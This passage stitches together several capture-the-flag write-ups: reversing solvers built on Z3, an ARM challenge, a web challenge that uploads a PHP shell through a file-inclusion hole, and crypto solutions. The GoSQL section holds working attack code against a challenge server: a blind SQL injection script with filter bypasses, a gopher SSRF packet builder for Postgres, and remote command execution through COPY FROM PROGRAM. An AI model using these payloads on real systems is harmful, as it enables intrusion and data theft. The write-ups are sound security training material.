data2[13] ) if (s.check() == sat): model = s.model() res = ''.join(chr(int(str(model[a1[i]]))) for i in range(14)) return res else: exit(print('nosat')) def arm_solving(data1, data2): s = Solver() a1 = [BitVec('a1_%d'%i, 8) for i in range(14)] s.add( (a1[2] ^ a1[4] ^ a1[0]) == data1[0] ) s.add( (a1[6] ^ a1[4] ^ a1[2]) == data1[1] ) s.add( (a1[8] ^ a1[6] ^ a1[4]) == data1[2] ) s.add( (a1[10] ^ a1[8] ^ a1[6]) == data1[3] ) s.add( (a1[12] ^ a1[10] ^ a1[8]) == data1[4] ) s.add( (a1[1] ^ a1[12] ^ a1[10]) == data1[5] ) s.add( (a1[3] ^ a1[1] ^ a1[12]) == data1[6] ) s.add( (a1[5] ^ a1[3] ^ a1[1]) == data1[7] ) s.add( (a1[7] ^ a1[5] ^ a1[3]) == data1[8] ) s.add( (a1[9] ^ a1[7] ^ a1[5]) == data1[9] ) s.add( (a1[11] ^ a1[9] ^ a1[7]) == data1[10] ) s.add( (a1[13] ^ a1[11] ^ a1[9]) == data1[11] ) s.add( (a1[0] ^ a1[13] ^ a1[11]) == data1[12] ) s.add( (a1[2] ^ a1[0] ^ a1[13]) == data1[13] ) s.add( (a1[2] ^ a1[1] ^ a1[0]) == data2[0] ) s.add( (a1[3] ^ a1[2] ^ a1[1]) == data2[1] ) s.add( (a1[4] ^ a1[3] ^ a1[2]) == data2[2] ) s.add( (a1[5] ^ a1[4] ^ a1[3]) == data2[3] ) s.add( (a1[6] ^ a1[5] ^ a1[4]) == data2[4] ) s.add( (a1[7] ^ a1[6] ^ a1[5]) == data2[5] ) s.add( (a1[8] ^ a1[7] ^ a1[6]) == data2[6] ) s.add( (a1[9] ^ a1[8] ^ a1[7]) == data2[7] ) s.add( (a1[10] ^ a1[9] ^ a1[8]) == data2[8] ) s.add( (a1[11] ^ a1[10] ^ a1[9]) == data2[9] ) s.add( (a1[12] ^ a1[11] ^ a1[10]) == data2[10] ) s.add( (a1[13] ^ a1[12] ^ a1[11]) == data2[11] ) s.add( (a1[0] ^ a1[13] ^ a1[12]) == data2[12] ) s.add( (a1[1] ^ a1[0] ^ a1[13]) == data2[13] ) if (s.check() == sat): model = s.model() res = ''.join(chr(int(str(model[a1[i]]))) for i in range(14)) return res else: exit(print('nosat')) def aarch64_solving(data1, data2): s = Solver() a1 = [BitVec('a1_%d'%i, 8) for i in range(14)] s.add( (((a1[0] ^ a1[4]) & 0xFF ^ a1[2]) & 0xFF) == data1[0] ) s.add( (((a1[2] ^ a1[4]) & 0xFF ^ a1[6]) & 0xFF) == data1[1] ) s.add( (((a1[4] ^ a1[6]) & 0xFF ^ a1[8]) & 0xFF) == data1[2] ) s.add( (((a1[6] ^ a1[8]) & 0xFF ^ a1[10]) & 0xFF) == data1[3] ) s.add( (((a1[8] ^ a1[10]) & 0xFF ^ a1[12]) & 0xFF) == data1[4] ) s.add( (((a1[10] ^ a1[12]) & 0xFF ^ a1[1]) & 0xFF) == data1[5] ) s.add( (((a1[12] ^ a1[1]) & 0xFF ^ a1[3]) & 0xFF) == data1[6] ) s.add( (((a1[1] ^ a1[3]) & 0xFF ^ a1[5]) & 0xFF) == data1[7] ) s.add( (((a1[3] ^ a1[5]) & 0xFF ^ a1[7]) & 0xFF) == data1[8] ) s.add( (((a1[5] ^ a1[7]) & 0xFF ^ a1[9]) & 0xFF) == data1[9] ) s.add( (((a1[7] ^ a1[9]) & 0xFF ^ a1[11]) & 0xFF) == data1[10] ) s.add( (((a1[9] ^ a1[11]) & 0xFF ^ a1[13]) & 0xFF) == data1[11] ) s.add( (((a1[11] ^ a1[13]) & 0xFF ^ a1[0]) & 0xFF) == data1[12] ) s.add( (((a1[13] ^ a1[0]) & 0xFF ^ a1[2]) & 0xFF) == data1[13] ) s.add( (((a1[0] ^ a1[1]) & 0xFF ^ a1[2]) & 0xFF) == data2[0] ) s.add( (((a1[1] ^ a1[2]) & 0xFF ^ a1[3]) & 0xFF) == data2[1] ) s.add( (((a1[2] ^ a1[3]) & 0xFF ^ a1[4]) & 0xFF) == data2[2] ) s.add( (((a1[3] ^ a1[4]) & 0xFF ^ a1[5]) & 0xFF) == data2[3] ) s.add( (((a1[4] ^ a1[5]) & 0xFF ^ a1[6]) & 0xFF) == data2[4] ) s.add( (((a1[5] ^ a1[6]) & 0xFF ^ a1[7]) & 0xFF) == data2[5] ) s.add( (((a1[6] ^ a1[7]) & 0xFF ^ a1[8]) & 0xFF) == data2[6] ) s.add( (((a1[7] ^ a1[8]) & 0xFF ^ a1[9]) & 0xFF) == data2[7] ) s.add( (((a1[8] ^ a1[9]) & 0xFF ^ a1[10]) & 0xFF) == data2[8] ) s.add( (((a1[9] ^ a1[10]) & 0xFF ^ a1[11]) & 0xFF) == data2[9] ) s.add( (((a1[10] ^ a1[11]) & 0xFF ^ a1[12]) & 0xFF) == data2[10] ) s.add( (((a1[11] ^ a1[12]) & 0xFF ^ a1[13]) & 0xFF) == data2[11] ) s.add( (((a1[12] ^ a1[13]) & 0xFF ^ a1[0]) & 0xFF) == data2[12] ) s.add( (((a1[13] ^ a1[0]) & 0xFF ^ a1[1]) & 0xFF) == data2[13] ) if (s.check() == sat): model = s.model() res = ''.join(chr(int(str(model[a1[i]]))) for i in range(14)) return res else: exit(print('nosat')) def powerpc64_solving(data1, data2): s = Solver() a1 = [BitVec('a1_%d'%i, 8) for i in range(14)] s.add((a1[0] ^ a1[4] ^ a1[2]) == data1[0]) s.add((a1[2] ^ a1[4] ^ a1[6]) == data1[1]) s.add((a1[4] ^ a1[6] ^ a1[8]) == data1[2]) s.add((a1[6] ^ a1[8] ^ a1[10]) == data1[3]) s.add((a1[8] ^ a1[10] ^ a1[0xc]) == data1[4]) s.add((a1[10] ^ a1[0xc] ^ a1[1]) == data1[5]) s.add((a1[0xc] ^ a1[1] ^ a1[3]) == data1[6]) s.add((a1[1] ^ a1[3] ^ a1[5]) == data1[7]) s.add((a1[3] ^ a1[5] ^ a1[7]) == data1[8]) s.add((a1[5] ^ a1[7] ^ a1[9]) == data1[9]) s.add((a1[7] ^ a1[9] ^ a1[0xb]) == data1[10]) s.add((a1[9] ^ a1[0xb] ^ a1[0xd]) == data1[11]) s.add((a1[0xb] ^ a1[0xd] ^ a1[0]) == data1[12]) s.add((a1[0xd] ^ a1[0] ^ a1[2]) == data1[13]) s.add((a1[0] ^ a1[1] ^ a1[2]) == data2[0]) s.add((a1[1] ^ a1[2] ^ a1[3]) == data2[1]) s.add((a1[2] ^ a1[3] ^ a1[4]) == data2[2]) s.add((a1[3] ^ a1[4] ^ a1[5]) == data2[3]) s.add((a1[4] ^ a1[5] ^ a1[6]) == data2[4]) s.add((a1[5] ^ a1[6] ^ a1[7]) == data2[5]) s.add((a1[6] ^ a1[7] ^ a1[8]) == data2[6]) s.add((a1[7] ^ a1[8] ^ a1[9]) == data2[7]) s.add((a1[8] ^ a1[9] ^ a1[10]) == data2[8]) s.add((a1[9] ^ a1[10] ^ a1[0xb]) == data2[9]) s.add((a1[10] ^ a1[0xb] ^ a1[0xc]) == data2[10]) s.add((a1[0xb] ^ a1[0xc] ^ a1[0xd]) == data2[11]) s.add((a1[0xc] ^ a1[0xd] ^ a1[0]) == data2[12]) s.add((a1[0xd] ^ a1[0] ^ a1[1]) == data2[13]) if (s.check() == sat): model = s.model() res = ''.join(chr(int(str(model[a1[i]]))) for i in range(14)) return res else: exit(print('nosat')) def array2xor(exe, a1, a2, ln=1): data1 = [int(exe.read(a1+i*4,ln).hex(),16) for i in range(14)] data2 = [int(exe.read(a2+i*4,ln).hex(), 16) for i in range(14)] return data1, data2 def compile(a1, a2): args1 = 'bzip2 -vfd ' args2 = 'chmod +x ' command1 = args1 + a1 command2 = args2 + a2 if os.path.isfile(a1): return os.system(command1+';'+command2) return os.system(command2) def execute(fname, key=''): p = Popen(['./'+fname], stdout=PIPE, stdin=PIPE, stderr=PIPE) stdout_data = p.communicate(input=key.encode())[0] print(stdout_data) zipfile = 'surprise'binfile = 'surprise.out'arc = ['amd64', 'i386', 'aarch64', 'arm', 'powerpc64']try: while True: context.log_level = 'CRITICAL' compile(zipfile, binfile) exe = ELF(binfile) typ = exe.arch if typ in arc: log.info(f'Arch : {typ} Found') if typ == arc[0]: arr1, arr2 = array2xor(exe, 0x0202020, 0x0202060) key = bin_solving(arr1, arr2) elif typ == arc[1]: arr1, arr2 = array2xor(exe, 0x03020, 0x03060) key = bin_solving(arr1, arr2) elif typ == arc[2]: arr1, arr2 = array2xor(exe, 0x012010, 0x012048) key = aarch64_solving(arr1, arr2) elif typ == arc[3]: arr1, arr2 = array2xor(exe, 0x011008, 0x011040) key = arm_solving(arr1, arr2) elif typ == arc[4]: arr1, arr2 = array2xor(exe, 0x010020130, 0x010020168, 4) key = powerpc64_solving(arr1, arr2) execute(binfile, key) else: log.info(f'Arch : {typ} not found')except pwnlib.exception.PwnlibException: execute(binfile)except KeyboardInterrupt as err: print(err)except Exception as err: print(err)```
Check the original writeup URL for source code and challenge resources. ---# Description On this reversing challenge, we are given an object file. If compiled into an executable and supplied with the flag, it should output this byte sequence: > 0A, FB, F4, 88, DD, 9D, 7D, 5F, 9E, A3, C6, BA, F5, 95, 5D, 88, 3B, E1, 31, 50, C7, FA, F5, 81, 99, C9, 7C, 23, A1, 91, 87, B5, B1, 95, E4, # Analysis After decompiling the object file with [Ghidra](https://ghidra-sre.org/), we identify the `main` function, which calls the following function, that takes the input string as a parameter and returns the encrypted result: ```cvoid encryptFlag(byte *param_1) { byte *pbVar1; byte *pbVar2; uint uVar3; byte bVar4; uint uVar5; uint uVar6; bVar4 = *param_1; pbVar1 = param_1; if (bVar4 == 0) { return; } while( true ) { uVar5 = (uint)bVar4; uVar3 = uVar5 - 10 & 0xff; uVar6 = uVar5; if ((bVar4 < 0x50) && (uVar6 = uVar3, 0x50 < uVar3)) { uVar6 = uVar5 + 0x46 & 0xff; } uVar6 = (uVar6 - 7 ^ 0x43) & 0xff; pbVar2 = pbVar1 + 1; *pbVar1 = (byte)(uVar6 << 6) | (byte)(uVar6 >> 2); bVar4 = *pbVar2; if (bVar4 == 0) break; uVar6 = (int)(pbVar2 + -(int)param_1) % 5; bVar4 = bVar4 << (-uVar6 & 7) | bVar4 >> (uVar6 & 0xff); if (uVar6 == 2) { bVar4 = bVar4 - 1; } *pbVar2 = bVar4; bVar4 = *pbVar2; pbVar1 = pbVar2; } return;}``` [Other writeups for this task](https://ctftime.org/task/12318) focused on developing a manual bruteforcing algorithm. This was made possible due to the fact that the **encryption value for a given character doesn't take into account the next characters**. Let's follow how the input parameter is being manipulated: ```cbVar4 = *param_1; // Take current character's valuepbVar1 = param_1; // Pointer to current characterif (bVar4 == 0) { // Current character ends string (i.e. it is a null byte)? return;}while( true ) { // [...] Calculations with current character pbVar2 = pbVar1 + 1; // Pointer to next character *pbVar1 = (byte)(uVar6 << 6) | (byte)(uVar6 >> 2); // Update current character's value bVar4 = *pbVar2; // Take next character's value if (bVar4 == 0) break; // Next character ends string? // [...] Calculations with next character *pbVar2 = bVar4; // Update next character's value bVar4 = *pbVar2; // Store next character to use on loop's next iteration pbVar1 = pbVar2; // Advance pointer to next character}// [...]``` Note that while calculations are done for the next character, they don't impact the current character. Therefore: - We only need previous characters to be correct in order to guess the next character- Although we know the expected input string length (it is the same length as the output byte sequence), we don't need to supply a string with that length, **we only need a string of length n, where n-1 are the previously known characters, plus the character we want to guess** Due to these properties, a manual bruteforce becomes feasible and solves the problem in no more then a few seconds. ## Deriving the constraints Let's start with our known properties: the output bytes and the flag values (usually a known prefix, in this case `rgbCTF{`, with ASCII values in the middle, ending with `}`). ```pythonflag_encrypted = list(b'\x0A\xFB\xF4\x88\xDD\x9D\x7D\x5F\x9E\xA3\xC6\xBA\xF5\x95\x5D\x88\x3B\xE1\x31\x50\xC7\xFA\xF5\x81\x99\xC9\x7C\x23\xA1\x91\x87\xB5\xB1\x95\xE4')flag_len = len(flag_encrypted) flag = [BitVec('flag_{:04d}'.format(i), 32) for i in range(flag_len)]for i, c in enumerate('rgbCTF{'): s.add(flag[i] == ord(c))for i in range(7, flag_len): # Ensure ASCII values s.add(flag[i] >= 32) s.add(flag[i] <= 127)s.add(flag[-1] == ord('}'))``` Our Z3 variables are bit vectors (`BitVec()`) stored in an array. Each variable is named `flag_` plus a suffix given by the index. Next, we add the variables from the encryption function and some of the expressions. The `bVar4` variable was renamed to clarify the role it plays as current character. ```pythonbCurrentChar = BitVec("bCurrentChar", 32) # i.e. bVar4uVar3 = BitVec("uVar3", 32)uVar5 = BitVec("uVar5", 32)uVar6 = BitVec("uVar6", 32)for i in range(flag_len): uVar5 = flag[i] uVar3 = (uVar5 - 10) & 0xff uVar6 = uVar5 uVar6 = If(flag[i] < 0x50, If(uVar3 > 0x50, (uVar5 + 0x46) & 0xff, uVar3), uVar5)``` In Z3, symbolic expressions cannot be cast to concrete Boolean values, so we need to rewrite conditional expressions using the `If(condition, then_expression, else_expression)` function. Note that the [comma operator](https://en.wikipedia.org/wiki/Comma_operator) in the original snippet: ```cuVar6 = uVar5;if ((bVar4 < 0x50) && (uVar6 = uVar3, 0x50 < uVar3)) { uVar6 = uVar5 + 0x46 & 0xff;}uVar6 = (uVar6 - 7 ^ 0x43) & 0xff;``` Can be rewritten as: ```cuVar6 = uVar5;if (bVar4 < 0x50) { uVar6 = uVar3 if (0x50 < uVar3) { uVar6 = uVar5 + 0x46 & 0xff; }}uVar6 = (uVar6 - 7 ^ 0x43) & 0xff;``` Note the clamping done by the binary `&` operator with the value `0xff`. This was **pitfall n°1: type information was lost** when declaring variables in python, and some operations were done on `unsigned int` variables. While some clamping existed in the decompiled function, other operations had it implicit, such as in the next snippet: ```cuVar6 = (uVar6 - 7 ^ 0x43) & 0xff;pbVar2 = pbVar1 + 1;*pbVar1 = (unsigned char)(uVar6 << 6) | (unsigned char)(uVar6 >> 2);bVar4 = *pbVar2;``` Rewritten as: ```pythonuVar6 = (uVar6 - 7 ^ 0x43) & 0xff;flag[i] = (uVar6 << 6 | uVar6 >> 2) & 0xffs.add(flag[i] == flag_encrypted[i])``` Since we don't have the casts to `unsigned char`, we can add the clamping with `0xff`. If you miss this, the results will be wrong and no model will satisfy the constraints! At this point, all calculations were done for the current character, so we added the constraint with the known output value: `s.add(flag[i] == flag_encrypted[i])`. Moving on: ```pythonif i+1 < flag_len: bCurrentChar = flag[i+1] uVar6 = (i+1) % 5 bCurrentChar = (bCurrentChar << (-uVar6 & 7) | bCurrentChar >> (uVar6 & 0xff)) & 0xff if (uVar6 == 2): bCurrentChar = bCurrentChar - 1 flag[i+1] = bCurrentChar``` The original comparison with the null byte checks if we are on the last loop iteration or not, which can be done by the equivalent check `i+1 < flag_len`. Any pointer arithmetic was ommited or rewritten with the loop index `i`, since it was only done to compute the current index (`(int)(pbVar2 + -(int)param_1)`) or advance to the next character (`pbVar1 = pbVar2`). Finally, we obtain a model that satisfies the constraints, and output the variables in a readable format: ```pythonif s.check() == sat: m = s.model() vs = [(v,m[v]) for v in m] vs = sorted(vs,key=lambda a: str(a)) print("".join([chr(int(str(v))) for (k, v) in vs]))else: print(s.__repr__())``` The `__repr__()` is useful for debugging failed models, since it shows all the conditions that were added. Other functions to consider are `assert_and_track()` in place of `add()`, which allows [tracking which constraints failed to be satisfied](https://stackoverflow.com/questions/45225375/is-there-a-way-to-use-solver-unsat-core-without-using-solver-assert-and-track), when inspected with `proof()` and `unsat_core()`. This catched **pitfall n°2: missing an assignment to a z3 variable**, which results in some expressions not being part of the constraints, therefore useless in regards to computing a proof. Running this script outputs the flag: ```rgbCTF{ARM_ar1thm3t1c_r0cks_fad961}``` As an additional validation, we could cross-compile the object file into an executable, and confirm that this input will produce the same byte sequence as provided in the challenge description. ```basharm-linux-gnueabi-gcc arm_hard.o -o arm_hard -staticqemu-arm -L /usr/arm-linux-gnueabi/ ./arm_hard 'rgbCTF{ARM_ar1thm3t1c_r0cks_fad961}'```
## Challenge : Buggy ### Solution The challenge is about bypassing 403 error along with file upload vulneribility and LFI.When we entered the website there's a login form and a link to register.After clicking on register we see a ```403 Forbidden``` error. ![error](/Buggy/imgs/403.jpg) Looking at this, thought we can bypass it which is smuggling the request to get registered. After some googling i found a way to bypass it ```/./register.php?username=ph03n1x&password=ph03n1x```Intercepting the request with burp and forwarding it, our registration is successful. ![burp](/Buggy/imgs/Request.jpg) Logging in, we find a file uploader which accepts any file extension. Uploading the file, it removes the uploaded file extension and convert the file name to a hash.I thought of getting a PHP Shell and uploaded a php file.After uploading the php, there's an option to ```include``` the file. We get a page with following details> The file has been uploaded to: /var/www/uploads/df0f1a1ac715de9266c8d8391769156a>> To include the file, use ?include= Here we get ```LFI``` at ```/../../../var/www/uploads/df0f1a1ac715de9266c8d8391769156a```This ```include``` option allows only the content of `http (or) https`.The final payload for LFI will be `/index.php?include=http:/../../../var/www/uploads/df0f1a1ac715de9266c8d8391769156a`After getting the shell, `cat` the files in directory.The flag is in `config.php`. ### Flag: `inctf{REQU357_5MUGG71NG_4ND_1NCLUD3_F0R_TH3_W1N}`
We use a buffer overflow to overwrite the instruction pointer with the address of a function called `secret_recipe`, which prints the flag. Take a look at the original writeup for a detailed explanation.
TLDR : You need to demonstrate SQL injection + SSRF + Packet analysis + RCE to get the flag When accessing http://35.224.182.105/ you are given PHP script```|<|~|!|like|between|reg|rep|load|file|glob|cast|out|0b|\*|pg|con|%|to|";$blacklist .= "rev|0x|limit|decode|conv|hex|in|from|\^|union|select|sleep|if|coalesce|max|proc|exp|group|rand|floor"; if (preg_match("/$blacklist/i", $name)){ die("Try Hard");} if (preg_match("/$blacklist/i", $column)){ die("Try Hard");} $query = "select " . $column . " from inctf2020 where username = " . $name ; $ret = pg_query($db_connection, $query); if($ret){while($row = pg_fetch_array($ret)){if($row['username']=="admin"){ header("Location:{$row['go_to']}");} else{ echo "<h4>You are not admin " . "</h4>"; } }}else{echo "<h4>Having a query problem" . "</h4>";} highlight_file(__FILE__);?>``` ## Bypass filterFrom the code analysis, we know need to bypass the MONSTROUS filter. We need to analyse two things seperately. The A column part and B string part`SELECT (A) WHERE inctf2020 = (B)` A part From the filter we know that we can't use `*`,`username`,`go_to` for our column, we could by pass this by using unicode `select U&"\0075sern\0061me" where ...` and `select "username" where ...` are the same B part The filter also blocks the usage of single quotation `'`. So how could we craft string constant without `'`? The answer is using dollar sign. https://www.postgresql.org/docs/9.5/sql-syntax-lexical.html (See the documentation about dollar sign)and to concat strings we can use `||` sign `select ... from inctf2020 where username = $$ad$$||$$mi$$||$$n$$` and `select ... from inctf2020 where username = 'admin'` are the same So here is our request`column=U&"\0075sern\0061me",U&"g\006f_t\006f"` and `name=$$ad$$||$$mi$$||$$n$$`url encode it and send the request`http://35.224.182.105/?column=U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22&name=$$ad$$||$$mi$$||$$n$$` ## PHP page with curl feature Next you will be redirected to `http://35.224.182.105/feel_the_gosql_series.php` Here you are able to enter url and the server will curl the url. For example try `http://example.com`![](https://imgur.com/download/Nxpt9Jl) You can try with other protocols as well such as `file://`, `ftp://`, `php://` ,etc. But some of the protocols are blocked by backend php. From the previous GoSQL challenges, the challenges used `gopher://` for ssrf And this time we could use the same technique too. The things that is different is that the server is using postgres as backend. So we need to craft postgres packet and then use it with gopher protocol. A good blog post about how to craft packet is written by Spy3dr himself in https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/.You need to read this to understand how gopher works in this challenge. From the blog post we know that gopher exploit only works when database uses username without password. So we need to leak username ## Leak usernameSo how do we leak username? We could do this by using sql injection. In this task, we are going to use blind sql injection to get the database username In blind sql injection, `LIKE` or similar is used to leak thingsFor example `select * from t where username LIKE 'A%'` So we need to be able to execute this command to leak username `select username,goto where username = case (user LIKE 'A%') then 'admin' else 'zzz' end` Things that we can do to convert above query:1. `lpad` and `rpad` could be used instead of `LIKE` (`rpad(user, 2, 'x') = 'aa')`2. Instead of using space ` ` we could use newline '\n' So here is our query that we want `select username,goto from inctf2020 where username = lpad('admin',4+(case when ('te'=rpad(user,2,'x')) then 1 else 0 end),'x');` or `select U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22 where username = lpad($$ad$$||$$mi$$||$$n$$,4+(case when ($$te$$=rpad(user,2,$$x$$)) then 1 else 0 end),$$xx$$);` We could use the same technique to leak database name Here is python script to leak username and database name ```import requestsimport string def dbgetter(): url = "http://35.224.182.105/" column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"''' d = "" for i in range(20): for c in "'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+@|{}": s = d + c s = "$$||$$".join(s) s = "$$" + s + "$$" name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s +"=rpad(current_database()," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);" name = name.replace(" ", "\n") r = requests.get(url, params={ "column": column, "name": name }) success = "functionality" in r.text if success: d = d + c print(d) def usernamegetter(): url = "http://35.224.182.105/" column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"''' d = "" for i in range(20): for c in "'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+@|{}": s = d + c s = "$$||$$".join(s) s = "$$" + s + "$$" name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s +"=rpad(user," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);" name = name.replace(" ", "\n") r = requests.get(url, params={ "column": column, "name": name }) success = "functionality" in r.text if success: d = d + c print(d) if __name__ == "__main__": usernamegetter() dbgetter()``` From here we know the username is `honeysingh` and database name is `gosqlv3` ## SSRFRead this blog post to craft gopher packet https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/. TL;DR 1. Create postgres user without password2. Use tshark and record packet on localhost loopback interfrace3. On another console try to login to postgres from localhost `psql -h localhost -U user`4. Open pcap captured packets on wireshark5. You get the packets you want Here is the python script to trigger ssrf```import binascii def main(): print("\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m") user = "honeysingh" database = "gosqlv3" user_encoded = user.encode("utf-8").hex() database_encoded = database.encode("utf-8").hex() # Connect dump = "000000" + "00" + "00" dump += "03000075736572" + "00" + user_encoded + "00" dump += "6461746162617365" + "00" + database_encoded + "00" dump += "6170706c69636174696f6e5f6e616d65" + "00" dump += "7073716c" + "00" dump += "636c69656e745f656e636f64696e67" + "00" dump += "55544638" + "0000" d = list(dump) h = str(binascii.unhexlify(dump)) d[6] = hex(len(dump)//2)[2] d[7] = hex(len(dump)//2)[3] dump = ''.join(d) h = str(binascii.unhexlify(dump)) queue = input("\033[96m" +"\nQueue: " + "\033[0m") dump1 = "51000000" + "00" dump1 += queue.encode("utf-8").hex() dump1 += "00" d = list(dump1) if len(hex(len(dump1)//2-1)) == 4: d[8] = hex(len(dump1)//2-1)[2] d[9] = hex(len(dump1)//2-1)[3] elif len(hex(len(dump1)//2-1)) == 3: d[9] = hex(len(dump1)//2-1)[2] dump1 = ''.join(d) dump2 = "5800000004" print(dump) print(dump1) q = dump + dump1 + dump2 a = [q[i:i+2] for i in range(0,len(q),2)] print("gopher://127.0.0.1:5432/_%" + "%".join(a)) if __name__ == "__main__": main()``` It is an ugly script but it WORKS For example we can find postgres version with this query`SELECT VERSION();` The python script produces`gopher://127.0.0.1:5432/_%00%00%00%55%00%03%00%00%75%73%65%72%00%68%6f%6e%65%79%73%69%6e%67%68%00%64%61%74%61%62%61%73%65%00%67%6f%73%71%6c%76%33%00%61%70%70%6c%69%63%61%74%69%6f%6e%5f%6e%61%6d%65%00%70%73%71%6c%00%63%6c%69%65%6e%74%5f%65%6e%63%6f%64%69%6e%67%00%55%54%46%38%00%00%51%00%00%00%16%53%45%4c%45%43%54%20%56%45%52%53%49%4f%4e%28%29%3b%00%58%00%00%00%04` Copy that gopher url to http://35.224.182.105/feel_the_gosql_series.php input And you'll get postgresql version![](https://imgur.com/download/hnSZrde) You can execute other queries as well. ## RCENext we need to be able to execute scripts we can execute script by using `COPY FROM PROGRAM` command;`CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls /';` But in order to be able to execute this command you need to be super user. First we are curious what users / roles exist in postgres`SELECT * FROM pg_catalog.pg_user` From the result we know that there is another username `inctf`. and `inctf` user have superuser privilege From here we could run shell command with this sql command `SET ROLE 'inctf'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls / -lah'; SELECT * FROM cmd_exec;` ![](https://imgur.com/download/z6gtAGb) After execute the query, you can find and executable `/readFlag` execute that to get your flag`inctf{Life_Without_Gopherus_not_having_postgreSQL_exploit_:(}`
# Inctfi 2020 Writeups - Crypto - [PolyRSA](#polyrsa) - [DLPoly](#dlpoly) - [bakflip&sons](#bakflip) - [EaCy](#Eacy) --- # PolyRSA Challenge Writeup [Crypto] For this challenge we were given a single file [out.txt](/Inctfi-2020/PolyRSA/out.txt) which contains commands used in sage interactive shell and there output. In the `out.txt` file we have, three values - p = 2470567871 (a prime number)- n = ... (a 255 degree polynomial)- c = m ^ 65537 (also a polynomial) These parameters constitute the `RSA` Encryption but instead of `Group` of numbers modulo `n`, thisuses `univariate polynomials over the finite field Zp`.Use the following resource to understand about this [Polynomial based RSA](http://www.diva-portal.se/smash/get/diva2:823505/FULLTEXT01.pdf) As in integer group, we have to find the `multiplicative` order of the group formed by `residue polynomials` of given `n`. Above resource specifies the formula in page 14 as `s = (p**d1 - 1) * (p**d2 - 1)` where d1 and d2 are the degrees of irreducible polynomials constituing the given `modulus(n)`. After obtaining `s` (multiplicative order), finding the inverse of `e = 65537` and raising the `ct` polynomial to the inverse gives the `message` polynomial. Converting the coefficients of `message` polynomial gives us the `flag`. ```pythonq1, q2 = n.factor()q1, q2 = q1[0], q2[0]s = (p**q1.degree() - 1) * (p**q2.degree() - 1)assert gcd(e, s) == 1d = inverse_mod(e, s)m = pow(c, d, n)flag = bytes(m.coefficients()) ```solution code :: [solve.sage](/Inctfi-2020/PolyRSA/solve.sage) Flag :: inctf{and_i_4m_ir0n_m4n} --- # DLPoly challenge writeup [Crypto] Got second blood for this challenge.This challenge is similar to above challenge. we were given [out.txt](/Inctfi-2020/DLPoly/out.txt) file which contains the commands and output in sage interactive shell. In the `out.txt` file we have,- p = 35201- n (a 256 degree polynomial with coefficients in Zmod(p))- len(flag) = 14- g = x (a 1 degree polynomial)- X = int.from_bytes(flag.strip(b'inctf{').strip(b'}') , 'big')- g ^ X In order to get the `flag`, we have to solve the `discrete logarithm` in the `group`of `residues(polynomial)` modulo `n` with coefficients in `Zmod(p)`(Zp[x]). Use the resource mentioned in [PolyRSA](#polyrsa) writeup for a better understanding. factoring `n` and finding the `order` ```pythonnfactors = n.factor()s = 1for i in nfactors: s *= p**(i[0].degree()) - 1```factoring the `order(s)` shows that `s` has many small factors.```python 2^208 * 3^27 * 5^77 * 7^2 * 11^26 * 13 * 31^25 * 41^25 * 241 * 271 * 1291^25 * 5867^26 * 6781^25 * 18973 * 648391 * 62904731^25 * 595306331^25 * 1131568001^25``` As the `order` contains `small factors`, we can use `pohlig hellman algorithm` to find `discrete logarithm`. we have to select the `factors` carefully as raising `base element (g)` to many of the factors gives the `identity element (1)` which we cannot use. So, taking the following factors```python[7^2, 13, 241, 271, 18973, 648391] ```we can calculate the value of `flag(X)` modulo `prod([7^2, 13, 241, 271, 18973, 648391])` using `CRT`.Value obtained is the correct value of the `flag` as the `X` is less than `2**(7*8)` i.e `X` is 7 bytes long. quick and ugly implementation of pohlig hellman ::```pythondef brute_dlp(gi, ci, n, lim): bi = gi for i in range(1, lim+1): if bi == ci: return i bi = (bi * gi) % n print("[-] NOT in the range") print("[-] Something's Wrong, you gotta check the range", lim) def pohlig_hellman(g, c, s, n, factors): res = [] modulus = [] for q, e in factors: assert pow(g, s//(q**e), n) != 1 gi = pow(g, s//(q**e), n) ci = pow(c, s//(q**e), n) dlogi = brute_dlp(gi, ci, n, q**e) print("[+] dlog modulo {0} == {1}".format(q**e, dlogi)) res.append(dlogi) modulus.append(q**e) print("\n[*] res = ", res) print("[*] modulus = ", modulus) dlog = CRT(res, modulus) print("\n[+] dlog modulo {0} == {1}".format(prod(modulus), dlog)) return dlog``` solution code :: [solve.sage](Inctfi-2020/DLPoly/solve.sage) Flag :: inctf{bingo!} --- # Bakflip&sons challenge Writeup [Crypto] This challenge runs the [challenge.py](/Inctfi-2020/Bakflip_n_sons/challenge.py) on the server. It provides two functionalities `signMessage` and `getFlag`.`signMessage` signs the given message using then`ecdsa` with `NIST198p` elliptic curve.`getFlag` gives us the `flag` if we can provide the `ecdsa signature` of message `please_give_me_the_flag`. ```pythondef signMessage(): print(""" Sign Message Service - courtsy of bakflip&sons """) message = input("Enter a message to sign: ").encode() if message == b'please_give_me_the_flag': print("\n\t:Coughs: This ain't that easy as Verifier1") sys.exit() secret_mask = int(input("Now insert a really stupid value here: ")) secret = secret_multiplier ^ secret_mask signingKey = SigningKey.from_secret_exponent(secret) signature = signingKey.sign(message) print("Signature: ", hexlify(signature).decode()) def getFlag(): print(""" BeetleBountyProgram - by bakflip&sons Wanted! Patched or Alive- $200,000 Submit a valid signature for 'please_give_me_the_flag' and claim the flag """) signingKey = SigningKey.from_secret_exponent(secret_multiplier) verifyingKey = signingKey.verifying_key try: signature = unhexlify(input("Forged Signature: ")) if verifyingKey.verify(signature, b'please_give_me_the_flag'): print(flag) except: print("Phew! that was close")``` As we can see in the `signMessage` function declaration, it doesn't allow us to obtain `signature` of our `target message`. At the start of execution, `challenge.py` generates `secret 